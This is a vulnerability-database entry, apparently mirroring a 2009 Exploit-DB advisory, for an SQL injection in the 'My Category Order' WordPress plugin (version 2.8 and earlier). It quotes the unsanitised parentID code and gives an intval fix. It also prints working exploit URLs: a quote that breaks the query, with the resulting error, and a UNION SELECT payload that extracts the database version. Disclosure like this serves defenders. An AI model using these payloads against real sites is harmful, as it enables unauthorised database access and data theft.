WordPress Plugin: My Category Order

vendor:

My Category Order

by:

ManhLuat93

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: My Category Order

Affected Version From: My Category Order <= 2.8

Affected Version To: My Category Order <= 2.8

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:my_category_order

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

WordPress Plugin: My Category Order <= 2.8 (mycategoryorder.php) / SQL Injection Vulnerability

My Category Order is a WordPress plugin that allows users to order categories in the WordPress admin panel. A vulnerability exists in the plugin that allows an attacker to inject arbitrary SQL commands into the application. This can be exploited to gain access to the underlying database and potentially gain access to sensitive information.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

###############################
# Source: WordPress Plugin: My Category Order <= 2.8 (mycategoryorder.php) / SQL Injection Vulnerability
# Download: http://wordpress.org/extend/plugins/my-category-order/
# No Dork
# Author: ManhLuat93 [at] hcegroup[dot]net
###############################

Errors appears only when you have admin control

Open mycategoryorder.php (Line 47-48):
if (isset($_GET['parentID']))
$parentID = $_GET['parentID'];

Fix:
if (isset($_GET['parentID']))
$parentID = intval($_GET['parentID']);


[+] Exploit [+]


http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0'&idString=3,5,4,1

MySQL Query Error:

WordPress database error:

 [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY term_order ASC' at line 1]
SELECT * FROM wp_terms t inner join wp_term_taxonomy tt on t.term_id = tt.term_id WHERE taxonomy = 'category' and parent = 0' ORDER BY term_order ASC



[+] http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11--&idString=3,5,4,1

[+] What do you see ?

# milw0rm.com [2009-07-15]